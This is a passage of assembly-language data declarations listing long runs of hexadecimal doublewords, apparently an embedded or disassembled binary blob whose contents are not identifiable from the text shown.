7DABBD6h, 640C3F4h dd 849F9044h, 0BD60476Ah, 1AE6AA18h, 0B5F20BF3h, 2D03F650h dd 38A64A18h, 6A7EB600h, 76FDF325h, 4DFA00E4h, 0B0126B3Ch dd 417C724Ah, 0A8170E00h, 0DD83B5F0h, 1E387833h, 3A00305h dd 7B5A1589h, 2B362488h, 0FF584C60h, 7058C768h, 0EAA60099h dd 6CFEA118h, 740CDDC2h, 28E516F4h, 32B90F09h, 7E81D0BEh dd 0BADB93A4h, 1C354C99h, 683098A7h, 727E8Fh, 0BCFD057Ah dd 8AAE93CAh, 20A07660h, 18364C68h, 40F5E434h, 0DD60691Ch dd 6D568F71h, 0BEF702B5h, 0AFBAB955h, 8236B800h, 1E047E86h dd 0AAA7C54h, 794BD73h, 0A0A3DC18h, 69804264h, 234BC218h dd 84083090h, 0DDE65C10h, 24B68A9Dh, 1D2203A4h, 0C8180570h dd 0B9503FCBh, 749C53FAh, 380830C4h, 0C350E95h, 0B90BCE17h dd 0A2EF5580h, 6F079A98h, 15AB838Ah, 0D82393B3h, 1D64FBE5h dd 79F9CA34h, 35732D00h, 4E323B54h, 2CD3410Eh, 81B42026h dd 61F8C05h, 8FE3234Dh, 0A18487Fh, 1A5099D4h, 18650064h dd 8CF1AAE7h, 61077022h, 2E971D5Bh, 0CFE441CEh, 0B4DC32EFh dd 3D6A39DBh, 7DB15301h, 81A915E8h, 0E4234199h, 96D0EFF9h dd 935C0674h, 218B6D62h, 0F73B271Ch, 0C1EB6801h, 33C0E805h dd 2F7F0Ah, 0BB117A9Ch, 0BDA7E75Ah, 0EF927007h, 0EC37E8AAh dd 59404Ch, 343B5A4Bh, 0FD19104Eh, 64D88A06h, 620A46Fh dd 667F43EFh, 5A00D8E1h, 46BCE87Eh, 0A36BD1h, 6A9FB772h dd 0E1CCE083h, 869BC739h dd 69FC399Dh, 0C66D0141h, 321D6754h, 257AD8D6h, 6B0CFCFCh dd 58D270AEh, 0EE534886h, 2EFF400h, 0CE96948Ch, 56FF8D07h dd 52718819h, 0F8D8A658h, 942500ACh, 29229F66h, 98156FF7h dd 78889C8Ah, 0D333D500h, 74191F0Ch, 67DF00DDh, 5586A13Ch dd 260A1815h, 0B679BF02h, 0B26BE40Fh, 0CBC9DA00h, 0F85FE839h dd 0A84E0027h, 0FC028556h, 0B202BC7Ch, 29766745h, 0A488C01Fh dd 0FADF41Ch, 6A5FA01Bh, 17A19E40h, 560087FDh, 0F3EBDA75h dd 1EC7981Dh, 0BBF16ADh, 548A8A7Bh, 0D4A50023h, 58EE9B18h dd 0DD714E00h, 0B0A3DE88h, 53CD2599h, 603EE78h, 0D91012ADh dd 4F2188AEh, 0C6810BB5h, 2303700Eh, 24B8962Bh, 9007C02h dd 5EF7EABAh, 0FAA1Dh, 9ADD501Ch, 0E6C83280h, 0B4AB1000h dd 0E97D480Ah, 0AD121DF7h, 470C4138h, 0CC800DE4h, 0ED00AB9Ah dd 93A00A30h, 32BA1E2h, 0F442B6BEh, 64A8410Bh, 17001C9Dh dd 1DC0A0E1h, 0A6C144h, 356829B7h, 1A789B5Fh, 3F0861C0h dd 82FEA0h, 469322BEh, 87A355C4h, 24F20CECh, 0FA367400h dd 0E6FCF6AAh, 0E57C2Fh, 0E1EBD06Eh, 245628CFh, 36A3739h dd 0B62E3842h, 7FE3B834h, 2182011Bh, 413AE264h, 3172CC58h dd 32F0B5h, 2BB6794Bh, 93985D60h, 8A36921Fh, 0C30C0A00h dd 30DCE6h, 0FBA2AD55h, 1BC1197h, 59126400h, 0D1F1F692h dd 0B5700E51h, 0AAA04B52h, 7DCC8FABh, 0ED1CE290h, 584091B2h dd 33EED463h, 48A16F39h, 27A9AE1h, 0B1D8DF82h, 13E66A4Dh dd 1F3C38h, 72596DFh, 1EBBCDB0h, 82C4F2E8h, 0E9716B6Dh dd 0AF19E40h, 0A45C9800h, 5D39110Eh, 0B41A0067h, 26CA6E73h dd 0A3008D50h, 5C7CB091h, 9E3F64h, 466079AAh, 0E877981Ah dd 0FDEC061Fh, 80C6EE80h, 1564109h, 57AB6E26h, 0D366E863h dd 0A2EDBD80h, 4203CA00h, 0D3346D24h, 0FA9A1FA1h, 0F24F40D2h dd 99E31491h, 500527Eh, 0B67CE9Bh, 7F255D5Ch, 68A8A038h dd 78D8C015h, 0FC499EC6h, 0F7E41B1Fh, 0BC90D9C3h, 9652E094h dd 0CCC90027h, 0C5BB0970h, 1000A9A1h, 4ACBDD1Eh, 229C41h dd 6C31F4CFh, 0C297F88Dh, 4E57AD00h, 0D08605FAh, 0EFFF007Dh dd 74CAFE10h, 0B5027241h, 44C1025Ah, 0B0FC4031h, 29A500ECh dd 0D7FC2F20h, 3500534Eh, 0ED340139h, 0E128D25h, 7809BFD1h dd 686696A6h, 80CA5C38h, 0D294EACFh, 0B0D82ED5h, 83FE5CFEh dd 1DB36607h, 0C5D70058h, 0D2F818A5h, 0EC002B71h, 0EA6D3336h dd 4B97072h, 0F35D490Dh, 0DE3491A9h, 62E8E80Ah, 8F98D100h dd 0F2179A5Ch, 0D67629h, 53AB6863h, 2ACFA866h, 38914C07h dd 1CF343A6h, 6DC5C8C7h, 98C60718h, 90E67EADh, 0A2267889h dd 60F8DE00h, 0C0BF734Fh, 93370090h, 0FBEA10D4h, 300AD51h dd 612A66E4h, 4B6016h, 0D6019828h, 8AA83F9Fh, 0EAD9BD00h dd 16F0DF69h, 7D510033h, 204AB871h, 8430F1B5h, 15C9297Fh dd 0AE410F6Eh, 3CA01EC0h, 9303A92Ah, 0DE06F307h, 84908999h dd 549397Bh, 0E63B2ED7h, 3CD2C071h, 4830A76Fh, 0D3F76E05h dd 501D003Fh, 0CC969953h, 2301A2EBh, 0FDF6D1FEh, 0DCEC6A0Dh dd 48A3001Ch, 0A2C1CB97h, 57073074h, 8417A72Dh, 0B044E103h dd 2CC2A960h, 0ECF09Bh, 19155BD2h, 8700BBD5h, 1BD1AFFEh dd 7E08894h, 4E2F7E84h, 83EC0079h, 0CA00CD57h, 0DBD9DCA1h dd 1D4A63B8h, 8045BD8Ch, 9942A5C7h, 0F2003531h, 0B06FA005h dd 0E6F6BAh, 945AC51Eh, 8B8FE887h, 0C7D6A219h, 29D85048h dd 2A6502B4h, 880C1B64h, 271E4640h, 0FEEBF506h, 283C16h dd 8D547BEFh, 91C87E6Dh, 0F5F08500h, 9B630ABDh, 0CD170084h dd 563BEB35h, 0FF00EE96h, 47AC0E2Ah, 0B0221E39h, 3C0F14F4h dd 2130D013h, 53D5410h, 94AA3B1Ch, 9D463E05h, 6DC31CC0h dd 938E03F1h, 6C2B1CA8h, 0EE01F3E1h, 0BA43C40h, 43844C00h dd 6A8590FCh, 25CD0C73h, 75206C82h, 34EF711Eh, 0A3582300h dd 0D8D781h, 0C4F50DA4h, 0F4218CAFh, 2A98E00h, 0A152AC8Ah dd 0DDB7001Eh, 0CF1678DCh, 0E20F0951h, 0E07D608Ch, 3AA2970Eh dd 6C070048h, 0A389B26Eh, 0CC38DA29h, 28220701h, 7FB78DACh dd 656B8800h, 77FF018Ch, 0CB2A870Ch, 8363603Dh, 0D2F7F101h dd 43AECCE2h, 0D6E130h, 8B165556h, 649194FAh, 880025FCh dd 7FCBC085h, 5AF586h, 0A54669E3h, 8CF94853h, 67722401h dd 913E37E2h, 0E703D4h, 9BAD9C07h, 5E5AE8B7h, 0BE00EF7Bh dd 0CF13AAB0h, 0AB9E3Bh, 3545423Ah, 2AEF61DAh, 7D1ED800h dd 0A643F933h, 4AFA73h, 89692410h, 0DFE67CE2h, 0ED5BD51Fh dd 1E0CF1CEh, 39207A00h, 0E6D3FC40h, 0D6AF1F24h, 9F92C0F8h dd 0C416A07h, 352F0600h, 742D4CF6h, 37EF00CEh, 8C990A4Bh dd 3000B72Ah, 62C74740h, 908D56h, 0BD867D2Eh, 0D212FF9Fh dd 50289860h, 7705837Fh, 0FE6C0317h, 9C567C31h, 62A65E90h dd 2ACBEE00h, 37AF833h, 0B74D0064h, 73F62716h, 0F4177FC8h dd 41001881h, 0B31CA77Dh, 0F172CFh, 157682F7h, 517A94B2h dd 0C43CBF00h, 5981F6CEh, 0A8044B5Bh, 0AAC30034h, 78AE3127h dd 0AF5600EEh, 0FE49F7B7h, 96044138h, 84744C68h, 4590E481h dd 58F47DD1h, 0B8AE0067h, 1DD4E916h, 490053E3h, 0F983C9ABh dd 289EFBh, 9B21650Ch, 2089D88Fh, 5F3D3800h, 0EBCEE566h dd 0F5D8EFD6h, 8C5C1857h, 80F36199h, 78788848h, 0FB1FA40Fh dd 0F16C0055h, 0C1746282h, 0F9660418h, 1A2DD08Bh, 31891B33h dd 2401EDECh, 0D3A8C218h, 10080FC3h, 5EE0DAA1h, 0D5EA82F9h dd 0D785C41Fh, 0A8F8D303h, 0A66DB9CBh, 460330h, 418A28Ch dd 0F123B70Dh, 0FB1F21EAh, 0F9830A86h, 48D486Fh, 7DA8FD70h dd 2D080B7h, 0E41AA9A2h, 1628A142h, 8D4C4250h, 3D8380Ah dd 50EC28CFh, 2F040010h, 0FC810D89h, 0E0F28D1h, 0A0327BBFh dd 9DDBC26Ah, 8A8B0097h, 31761984h, 300078ACh, 25C1EA72h dd 0D9EEB6h, 0CE8ABCB9h, 43DEC81Fh, 266D9800h, 0B89B6AAFh dd 0D267046Eh, 0C00B0531h, 0A27DC8E0h, 532E7C00h, 177216C1h dd 0ED7324A3h, 0B24D00BFh, 0DC2DCA80h, 570EE701h, 9CA96497h dd 0BF63B080h, 76F64692h, 68312401h, 0B9E67B58h, 48D73B70h dd 5091026h, 4780F1ACh, 0FAD23F2Ah, 6E3D9716h, 0FF192600h dd 48DB8D7h, 594E082h, 3040C73Ah, 0AE7033A0h, 8C3F3675h dd 1FA88059h, 0A29A789Eh, 0D2E4B7h, 0B634456h, 18EAD703h dd 0DAC3470Bh, 0F5A380D4h, 5A3095h, 5DBE49BFh, 6857F280h dd 0E61F4800h, 0DC926661h, 0AF0100C0h, 88E7FF2Bh, 5F00F8E1h dd 7A5EA1F4h, 1D78BD42h, 4024E52Fh, 700ECC84h, 2B03D14Eh dd 258F855Ch, 1E51D805h, 77B60F2Ch, 5FE253h, 79A6B989h dd 440E7CE6h, 0E7B08060h, 0E0200A75h, 7A84E39h, 3EF5BE30h dd 4CBA003Ch, 38000476h, 0A2FA9B60h, 16A7C4CEh, 0A51DDFh dd 8D4BEAA2h, 27006FF1h, 76C8D178h, 826C39h, 59CF85DBh dd 0B18FFE6Bh, 433DAB00h, 2A2C2599h, 60D0C030h, 226CC569h dd 39C7A07Bh, 0C7E73696h, 59B09910h, 9B130004h, 9CEBAB6Fh dd 0E15C8BB2h, 54660053h, 0EAEF9497h, 62800D7h, 9BFD5219h dd 0DF0001FCh, 29142D62h, 0EE8F18AFh, 49E10066h, 64D5427Bh dd 5A00C61Eh, 0DCA1AFDh, 304F598Eh, 9B6899FFh, 0A93A93D4h dd 499080C1h, 4AA4DB66h, 5AD500EBh, 0D8A5FD88h, 6D1E6350h dd 298101B7h, 384DF4A6h, 95F2E8h, 0E0848F2Ch, 0D258D04h dd 247B400h, 53222970h dd 60DD07D9h, 70695215h, 0E196984Fh, 0A64C3300h, 0E6017003h dd 183FF454h, 183E523Ah, 21009726h, 40DC7953h, 0D788D0h dd 81B0B6E1h, 3008EA8Ch, 0F1867100h, 5550A815h, 19FF023Eh dd 0FEC57D75h, 0B4C9F280h, 0F600EDE1h, 3C3DAE15h, 5CBB53Eh dd 32D04F0Bh, 0C6C00466h, 5449807Ah, 1E0EB383h, 0E06A29B6h dd 7958B959h, 0E5FE2885h, 8A4700C0h, 24D378F5h, 0C0018DAh dd 0C075EEB7h, 6788F70Ah, 0C0035032h, 16D27BA8h, 4E1CDA0Ah dd 831CECF6h, 70220122h, 0D8533FB4h, 0FC0C2038h, 4B48AA03h dd 0CD679FEFh, 0ECDDF840h, 0E66F54CCh, 4DF45878h, 0BBD4860Fh dd 0FA6E877h, 40EAFCB1h, 63AAF2F9h, 0D89E0010h, 499A1377h dd 0FEF67AC2h, 0F2C9A400h, 8B53B9F7h, 63F401A8h, 4D6CC48Fh dd 0B582F8A9h, 0FE845900h, 0A1E1588Eh, 7A960C0Bh, 0A4884E50h dd 0D2C4A300h, 68CA76C9h, 9BBC0770h, 106F79F0h, 4336113Ch dd 99F7AB05h, 0C00F7CD9h, 6D6BC78Bh, 1B0E4E7h, 63E3Fh dd 22C51B0h, 0B1D1CACBh, 14823Ch, 7F11C6B4h, 2A07FAC1h dd 80F995h, 40AB0B02h, 14DC8C7h, 0A09C4F28h, 0EF1F707h dd 0AFB33F51h, 0FC6E0DFDh, 0EC397305h, 9400A0B0h, 4A54D0C2h dd 31798CEh, 0EC5B6226h, 7CE8DBC1h, 84771A65h, 0CDC09101h dd 9980BBDCh, 22964ECh, 0EF8DD530h, 0AD4062A3h, 6D58F356h dd 786600DBh, 9DE92F84h, 0CD1400AEh, 0ED1CF582h, 6F00579Ah dd 8D6E3EC0h, 7C3973A4h, 864600EEh, 304713D2h, 9F71A560h dd 57281600h, 0F7592722h, 0EF8017Ch, 85049CFAh, 84DCDC10h dd 7E557B00h, 1AD652CFh, 814E0098h, 9C41BBAh, 0F50F71D3h dd 27EBD951h, 8C8A8D15h, 59707300h, 26B354E4h, 18C6CCh dd 7AA92C81h, 0D100A898h, 1EB96461h, 7E3845h, 710852B4h dd 0E5922326h, 130AD902h, 40830F97h, 7B3608Ch, 792FAC5Ch dd 5E3F10D6h, 41004BB9h, 0E6B8C78Ch, 3AEADE9Dh, 0D9E0FADDh dd 0C9C5B529h, 0AED6970Fh, 0B7B900D1h, 916895h, 1A35DC31h dd 0CB3F1F13h, 94AFD512h, 0F9C01C1Dh, 0E63D1D04h, 42DF0022h dd 1774491Ch, 500329Eh, 0A64D5D8Bh, 1EED5465h, 12AD9CAAh dd 5721006Bh, 0E7F781C1h, 6C48h, 186FC32Fh, 30628067h dd 0B1284C04h, 9C0809FBh, 76EFE78h, 0A2CE39F2h, 2C409A0Fh dd 0F41E2B12h, 80A4C370h, 0E9002A91h, 8328B241h, 0F0ECE3Fh dd 4055649Fh, 6AA3C589h, 0EB80086h, 2D9AC93h, 0E500D466h dd 77967536h, 15DB20h, 0BB875CCFh, 0BF45BCEEh, 61676200h dd 0FC6DD93Fh, 0C72A058Ch, 27C0901Bh, 7659E09Ch, 390EF8A0h dd 40837313h, 1D8A3D0h, 92100040h, 7F8A1F07h, 207E6AAh dd 0B73EC946h, 0A4B0E8B0h, 726A0EECh, 0D9C01711h, 70C25C01h dd 0A1001A7Bh, 45A2048Dh, 0B98AA0h, 0E2ECF5F7h, 76CA953Bh dd 781CBD90h, 4681DD75h, 742FC5CEh, 1E4330ECh, 420B397Ah dd 78F46885h, 5D400CE0h, 0A3117600h, 9105D3AFh, 0BDE13EBCh dd 71331900h, 0D6CB9FECh, 5FA67C00h, 3C917B9Eh, 54506BBh dd 6E1E8F39h, 0AF904600h, 55E28C93h, 832707ABh, 91B605ACh dd 0D8F9F77Fh, 600022CEh, 49501120h, 6D9DD2h, 0C494CD15h dd 51B9E3F9h, 0A72E200h, 97C53D60h, 0A1890036h, 7BBA83C7h dd 0E80E5AF2h, 0E066307Dh, 8A579D8Fh, 0A7B2004Bh, 236A0A42h dd 0F500EB3Fh, 4E093620h, 7AA0FBh, 7EEFE5F1h, 8C3E690Fh dd 5D2F9C12h, 806F5C09h, 5241012Ch, 0FB920F4Ah, 0EF80B8E9h dd 0AF4C773h, 67334C00h, 1FA4E118h, 0C877004Ah, 7970B78Fh dd 5E005F21h, 2375D32Bh, 0F84752h, 7EE3B9C5h, 0AF936955h dd 11D45307h, 96F428C6h, 3E1C80D0h, 1681C095h, 121B74BAh dd 47759A03h, 0E398A661h, 0A0100210h, 34195AD1h, 6A188Ah dd 0A35DF296h, 0AD74EADCh, 8CF9CB0Fh, 5869E04Bh, 981CC1D0h dd 0F0740B89h, 14A183D5h, 3567E2C7h, 0E09BF5F4h, 0A87E4393h dd 5ADF4D00h, 81E86584h, 3B7CCFh, 3317DCB7h, 13667C95h dd 56E64C0Ch, 0C84173h, 3A21E0BFh, 51A3BD69h, 0FC4EBA00h dd 5EF036A7h, 0E5063AF4h, 4052F587h, 3800FF97h, 24FDD80Bh dd 44C50F03h, 0D04E26C4h, 40E123h, 0BAFE4ADEh, 8ACB0335h dd 0D51C6700h, 0E9B70872h, 2C44007Bh, 520FF4E5h, 2714B34Bh dd 0EAEF05Ch, 80FC6F36h, 0CB96F6DBh, 703A011Dh, 7FF187BBh dd 0F30899D3h, 0BD600321h, 0FC891F0Eh, 93B94368h, 0F8AF5BEh dd 11F62FC0h, 60F7C507h, 107C5C3Bh, 0B63800FBh, 97045234h dd 333ACA1Eh, 21FE309Ah, 0B52129h, 0C4BF7FF7h, 0C17307F8h dd 6F62FD0Ch, 43179F2h, 0B5A75CBCh, 422380D7h, 40664C8h dd 0D60293BAh, 51DB6080h, 0D8337DE4h, 81F05D03h, 6CF8AA3h dd 777B5220h, 83F8F80Ah, 18D32E30h, 2A236364h, 0E88840E4h dd 764B3062h, 44576D28h, 0E2BF8303h, 804A732Fh, 310AB91h dd 5207CC3Eh, 22A83CCEh, 0D53A4234h, 8C9F80D2h, 882BCF08h dd 87C8002Eh, 18F24126h, 35F2F98Fh, 4C91D503h, 0F708D980h dd 849B90F8h, 3D44F884h, 2217444Dh, 4228CF44h, 42D7C2Ah dd 0AC532069h, 17C38187h, 5F6CDE00h, 0EB560054h, 5194C721h dd 7F0091B2h, 30E10265h, 0EED11F35h, 285C02A3h, 0E42D564Fh dd 39049E0h, 0C7A05207h, 0BC102278h, 86CF1Ch, 9873082Ah dd 0CA7E913Dh, 26530E07h, 52C1FB5Eh, 21CC77AAh, 193A0E5Dh dd 68A05A66h, 20CF736Fh, 14803B00h, 572D6453h, 0E20C009Bh dd 0AB9CE61Ch, 0DF000DE7h, 63062150h, 4490B5h, 78041E33h dd 0D54F10E2h, 0D2EFB900h, 0BACE5CBh, 17F800D6h, 8F3D7DA6h dd 0EE03C814h, 4055931Ah, 4A59A07Fh, 6F2B00D2h, 8B1CE498h dd 5D00FF77h, 0C518F7C8h, 19A6615h, 0F8D14A9Ch, 0D4D00823h dd 42011E73h, 2CAA43DEh, 0EC401014h, 5E0C1h, 0FDE7F344h dd 7A79F5DAh, 0A3025213h, 90AF3101h, 0AB30B51Ah, 0D587007Eh dd 77443789h, 0C63D4F42h, 5BF30103h, 0CC92085h, 73F512E0h dd 38F44Ch, 9F172932h, 7343260Eh, 0B409280Ah, 39C4B7h dd 56C29783h, 0D4EB66h, 0C8B9E05h, 0C34115A3h, 2300E477h dd 90DBB51Dh, 178D554Dh, 0E05F6DAh, 3CE0EC8Fh, 0B5DD254Eh dd 0EF94CF00h, 273A0A93h, 357B00FFh, 0B084DFAEh, 25000620h dd 1EBBB72Ch, 0BF28B5E3h, 26005BF0h, 58A95E15h, 7833C4DFh dd 66460736h, 10919A14h, 17D3B6CDh, 41DB0D00h, 0ACBE0673h dd 0EB761FC1h, 0C46140A8h, 2DBFB1F1h, 0F7E83260h, 92BDE6h dd 0E7229D63h, 315147F0h, 1984350h, 0F82AD400h, 0AE86A3D3h dd 76FE0097h, 1913E633h, 82007DF7h, 314291C0h, 2C37A134h dd 0AECB6Eh, 1F4BFD5Dh, 0BC00E995h, 0F8C72C57h, 50AF87h dd 0C15C287Bh, 0A9DB1743h, 0DAB25D00h, 7129E7F1h, 3DEA0A6Bh dd 80D4C499h, 0FFE261F8h, 87C2D83h, 50DACF00h, 0D30C356Ch dd 128B794Ah, 0EDE1F9h, 0CCCE4B1Ch, 34B05B93h, 0CB4A8700h dd 2F19EF4Dh, 9F7660h, 75B3D0B6h, 452A580Dh, 93950C00h dd 0CF846B52h, 9804906Eh, 9020501Dh, 7C4303AAh, 0C4D92F0Bh dd 64F95880h, 5255870Fh, 0EB684156h, 0A560F0A6h, 0AEF324D2h dd 0A7A9809Ch, 0D74031E4h, 3D10BD48h, 91250C0Bh, 7672054h dd 66D8230Fh, 6E53409Eh, 943CAE93h, 0EA270064h, 76A94BCBh dd 9865007Eh, 1E36326Ch, 4AFEEBD3h, 0C9487A7Bh, 0F0E4009Ch dd 31FBC61Ah, 45DB003Ch, 49276033h, 15122C8Eh, 0B103E676h dd 0B028CE89h, 1048EDh dd 3162A788h, 79CF131Fh, 5129F012h, 833B9D1Dh, 0BEDA1E44h dd 9C638038h, 2C799020h, 1D2D6246h, 4D3640FBh, 0D23DDC3Fh dd 62A5700h, 83FA9BD3h, 0A7A800AFh, 0AB88626Ah, 7598C98Ch dd 8EE54200h, 4B1471B4h, 1FE49028h, 94017E46h, 370794ABh dd 21E2B01Fh, 0C093ECC0h, 0C1003239h, 95F53C94h, 0EDC380h dd 71F7AF1Ch, 35858697h, 0DE733D00h, 8B62FBC4h, 0A2E64Ch dd 615698D5h, 96C35452h, 8145D600h, 1FD8DFDBh, 8C123F59h dd 9A948580h, 0C9897C9h, 5300FA7Dh, 0D78B2F6Ah, 0F08C44h dd 5403E574h, 8AEF6D6Fh, 239BDB26h, 0EA388C20h, 68938790h dd 3E3332h, 9161D862h, 49A8002Bh, 0F4D9A2ABh, 8E0046ADh dd 51DAED21h, 2A7DBFAh, 84763624h, 34087BAh, 4C1642D9h dd 14AA6129h, 0AB123CF3h, 0F58C21DAh, 9580042Dh, 480FD5AFh dd 0CC008CE8h, 2E8CF24Eh, 29007D5Ah, 0ED6FB43h, 41DF5h dd 5E756B4Bh, 0D9C574ADh, 0E36C8700h, 6D5585BBh, 0F73D26CEh dd 8B003FFBh, 6DE27EEh, 0D5078A81h, 345482E6h, 35FF9590h dd 6B1001F3h, 4391E9C5h, 44FEC89Dh, 0FD0045FCh, 5CA7CAC0h dd 1D2010B4h, 4FA5BD5Dh, 0CBAF6E67h, 25017A80h, 9D03DE7Eh dd 0A4C45EA9h, 6A54C05Dh, 1A6F668h, 7A822CC7h, 0E86430D9h dd 0C803D06Eh, 4A5C22F3h, 57FD9907h, 3883D9C4h, 3B804DC6h dd 5DCBC748h, 0E400D77Ah, 0CFC03CCh, 7642F4E3h, 849E00F6h dd 0D92874B3h, 0EF00BA9Ch, 5F270146h, 5BDE45C2h, 4BE983D2h dd 373D52E0h, 1A792200h, 0C01E9D21h, 0A10C7A49h, 0E4E05AA0h dd 79E7C2Eh, 8835803Ch, 314D2006h, 0DD009B66h, 7296B79Ah dd 0FE844928h, 1A370082h, 3FA61578h, 0F803521Dh, 0A5952BBBh dd 0DE113C3Ch, 9C30BE00h, 0C3F9D7A0h, 8D905500h, 3D6C21B3h dd 93640029h, 8ACB7567h, 6003A79h, 5F31CDF3h, 1FA76068h dd 0C0D4EA40h, 44620B78h, 0F0E14706h, 1705B64Fh, 0ABE51A71h dd 37BEB418h, 0D7570027h, 4F6663C7h, 6001687h, 93FD24DAh dd 2FBEA0h, 0F5642E8Fh, 19937A7h, 6C9E7600h, 3C88D89Dh dd 0B6390102h, 0FB24E4CEh, 9FF6F8E1h, 1806AC00h, 49166F82h dd 1475004Dh, 1B0830FFh, 7C01FD90h, 0B019217Dh, 1D4559Ch dd 0AC365081h, 0F7940233h, 0A21EA8A5h, 0D07D9180h, 1100055Eh dd 6075DA84h, 0ECF5E5B7h, 0AC573E77h, 48264100h, 0C67DBD9Dh dd 4B133100h, 3B24427Bh, 6CB001F0h, 8BFE5479h, 8C7DE836h dd 36D8800h, 0AD632E1h, 0C7FF0046h, 1ED1BE3Dh, 0F90A850Bh dd 0A80C7D07h, 44600200h, 7420AFh, 0B69B252Ah, 53CD69F2h dd 0C12F4100h, 6EAF58A3h, 0F4022863h, 429900E4h, 15445EABh dd 8042C6Ah, 14B46ECDh, 1CB7887h, 37EE666h, 1CD69A30h dd 40BED706h, 0FF5422CAh, 0C00A2B8h, 51573A41h, 0FD151Eh dd 0E3BB389Fh, 0D31D19F9h, 0CEB8A600h, 0A40CCC31h, 0F64DE816h dd 2DAD0075h, 3C578192h, 0AA50842Fh, 0EA00CBACh, 9142F87Ah dd 0F8DED86Ah, 1F3200F0h, 0CB6D29BFh, 0D1006B4Ch, 6FFDB9FBh dd 185676h, 20BA5BA9h, 3E235D55h, 0A080F40Fh, 3C77E0F8h dd 61E4F7h, 2D26FB5Ch, 10FC1289h, 549E4700h, 367D7203h dd 613A0005h, 0A2156A3Fh, 5C78B956h, 0F95190C0h, 0E2C52E40h dd 57A300F1h, 0E68DE3DAh, 3D0093A9h, 6EFF35F6h, 0B8CDB9A4h dd 0A6948BFh, 25459800h, 839B08D8h, 62777D00h, 0F63B9353h dd 9E2748EDh, 1BA4863Bh, 7DBC42D0h, 0D929C00Fh, 184648h dd 0F2C4C60Dh, 83CC0A7Bh, 7509E924h, 8659C000h, 18DE1E7h dd 4D635475h, 6BC576C2h, 7CB32A0h, 0F2580250h, 2A1C50E9h dd 0D93DABCCh, 10E8F6Ch, 66A340C8h, 0B274BFh, 0B84EED87h dd 2ABA1025h, 5BF77300h, 0FCF981F6h, 0AC860011h, 4B42A51Ch dd 0C6003EE6h, 0F3D88E65h, 973B62h, 1A9F99EEh, 4609E8BAh dd 8CF81B03h, 0B0E0BB89h, 3A19338Ah, 1D48999Ah, 3954FE07h dd 64251185h, 570F8EAh, 17B558h, 99F5E861h, 3B78E76h, 9B6C9C5Bh dd 3593BAA8h, 15FC53C0h, 3A047748h, 0D27F173Ch, 13AFC307h dd 0B2D429B0h, 0F1570F99h, 33E98973h, 314B6E00h, 0D9007C7Ah dd 0E8B36F74h, 82E0E5h, 212FD076h, 78582E42h, 11642700h dd 0F036DAC7h, 5CF100D3h, 89F6A818h, 0DC00E7E6h, 68A2C1BFh dd 1B7F75Bh, 2C3C5344h, 80087846h, 5DA3E258h, 4AE81h, 0BD2D9725h dd 0FDB23D5Ah, 36623300h, 19F24D4Eh, 748503FBh, 181CB796h dd 40FD92B1h, 6732DFBAh, 0B5AD3100h, 59C777F0h, 24BF723Fh dd 0CC564Ah, 3BE9876Ch, 0B9733C41h, 0D9612300h, 4CA6A1AFh dd 0D168022Ah, 44F539C3h, 5BBC1540h, 9123800h, 8A95DD56h dd 0E1520083h, 0FC0F6154h, 1B010C2Ch, 0C03CE0F2h, 80C82F9Ch dd 0C895004Bh, 0C77CF0F4h, 0B300478Ah, 7AE3C53Ah, 3F5CE485h dd 9A3750D8h, 5B238094h, 0A703F83Ah, 6FAAFA9h, 6DBAD096h dd 8435002Ch, 479DD291h, 0F0057B17h, 398309C3h, 3B540880h dd 0C370E26h, 0A0005834h, 2A62DE8Ch, 8387F600h, 0F15903BCh dd 0B8190054h, 0DA1D1E65h, 0A300B3DEh, 73947C3Dh, 1642C6h dd 25EBB839h, 98711381h, 0DE23D800h, 0F86C85B4h, 1090377h dd 8E03FCACh, 655E7C8h, 3C00CF77h, 0A152E4B5h, 7CBD3843h dd 3BC200FDh, 5C89DEC7h, 1D0EDBF9h, 60204DC0h, 0A995A048h dd 0FBEF0137h, 0FFA23114h, 73C460FEh, 4166F8E7h, 0D03E2E00h dd 220B770Ch, 1381EF3h, 0C9FE80A3h, 5A39093Bh, 76176300h dd 13558FE6h, 738A00E9h, 2446BD66h, 82002079h, 4FE0D4BBh dd 2E1F1Ah, 0BECF6D18h, 0EA8D7B06h, 74E5958h, 1C2F0BDFh dd 0B7496181h, 58F0DCh, 98E8379Fh, 97D32678h, 0E7B2310Bh dd 0AEB90123h, 3AF98B7Fh, 20581181h, 20A44819h, 91007BA6h dd 7671E0BFh, 1DC5DCh, 65D62D5Ch, 9870EBF6h, 2A74B931h dd 0F7D04672h, 0ADED00C5h, 8FCD04FDh, 523F4FDAh, 0C49D2A13h dd 120CF842h, 429889B2h, 0D286B000h, 614AA722h, 0A0F80BA9h dd 30008AC0h, 0EEE9507Fh, 0CB00C2E8h, 0FCCC1090h, 4A31BBh dd 0C92E0D81h, 0E648CE44h, 9F005670h, 0F5D89249h, 9D50E2h dd 6CCF537Eh, 31483AB2h, 95AA0807h, 22D013B9h, 7124EACh dd 24739D6Fh, 0B3AD70C1h, 3D00BEF1h, 0E687E43h, 36952C2h dd 0BD624712h, 4EE1B5A2h, 0A0923028h, 0DD152D00h, 6D68F35Eh dd 0C1FF012Fh, 896BB24Bh, 6ECED0D9h, 4F57BD00h, 5D22C80Ch dd 1E407BA3h, 0C0CDCA2Ch, 9D6A231Eh, 0DD00092Dh, 0C2C0B222h dd 486FE794h, 0E800B888h, 705B5F55h, 0B0A0B8EEh, 95730750h dd 8CC23800h, 0E6D810A2h, 909174DFh, 0B4DA0158h, 11F06D2Ah dd 8487205Dh, 0E1F9F400h, 4E2F19A2h, 2AA573D4h, 0CC8337h dd 359BFCEFh, 5732363h, 0CB162F00h, 6021124Bh, 197AECh dd 8B8F9B13h, 4D66FF85h, 7E173700h, 2A4786B1h, 0EF9702C9h dd 51DD4AEDh, 52E7EC80h, 892679A2h, 9F07EA91h, 24B0C147h dd 90BB41C4h, 0E2700288h, 65721BC7h, 27582C40h, 0FC6E7140h dd 9F4300CCh, 0C46A0DBFh, 471D2B3Ah, 0AA80F5EBh, 0AD0940D6h dd 2341D6Fh, 3B127DE5h, 75EC00F7h, 9BE1644Dh, 651FF676h dd 6602DE2Ah, 81EF8D03h, 0B8F2DBF3h, 27BF0E8h, 9745583Ch dd 0B88078F7h, 0BD3F7535h, 0D9160C03h, 0F080B1D0h, 0E789D5Eh dd 1590DB84h, 92311120h, 3B48E49Bh, 0B00072B8h, 0C3712334h dd 6798EB93h, 7C356055h, 0C5260408h, 0A700602Dh, 0D4E9C279h dd 0ED66008Fh, 0D8B38D9Bh, 37002074h, 0E2D2BC02h, 53417Ah dd 0A333C84Fh, 0B33F7FDFh, 0BCFCE524h, 